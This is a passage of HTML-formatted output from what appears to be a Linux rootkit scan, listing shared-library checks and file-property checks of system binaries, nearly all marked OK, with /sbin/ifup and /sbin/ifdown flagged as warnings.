<li>&nbsp;&nbsp; &nbsp;Checking 'strings' command&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing 'shared libraries' checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking for preloading variables&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking for preloaded libraries&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ None found ]</li>
<li>&nbsp;&nbsp; &nbsp;Checking LD_LIBRARY_PATH variable&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;</li>
<li>&nbsp; Performing file properties checks</li>
<li>&nbsp;&nbsp; &nbsp;Checking for prerequisites&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/chkconfig&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/depmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/fsck&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/fuser&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/ifconfig&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/ifdown&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/ifup&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ Warning ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/init&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/insmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/ip&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/kudzu&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/lsmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/modinfo&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/modprobe&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/nologin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/rmmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/route&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/rsyslogd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/runlevel&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/sulogin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/sysctl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/sbin/syslogd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/awk&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/basename&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/bash&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/cat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/chmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/chown&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/cp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/csh&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/cut&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/date&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/df&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/dmesg&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/echo&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/ed&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/egrep&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/env&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/fgrep&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/grep&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/kill&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/logger&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/login&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/ls&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/mail&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/mktemp&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/more&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/mount&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/mv&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/netstat&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/ps&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/pwd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/rpm&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/sed&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/sh&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/sort&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/su&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/touch&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/uname&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/gawk&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/bin/tcsh&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/adduser&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/chroot&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/groupadd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/groupdel&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/groupmod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/grpck&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/kudzu&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/lsof&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/prelink&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/pwck&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/sestatus&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/tcpd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/useradd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/userdel&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/usermod&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/sbin/vipw&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/awk&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/chattr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
<li>&nbsp;&nbsp; &nbsp;/usr/bin/curl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [ OK ]</li>
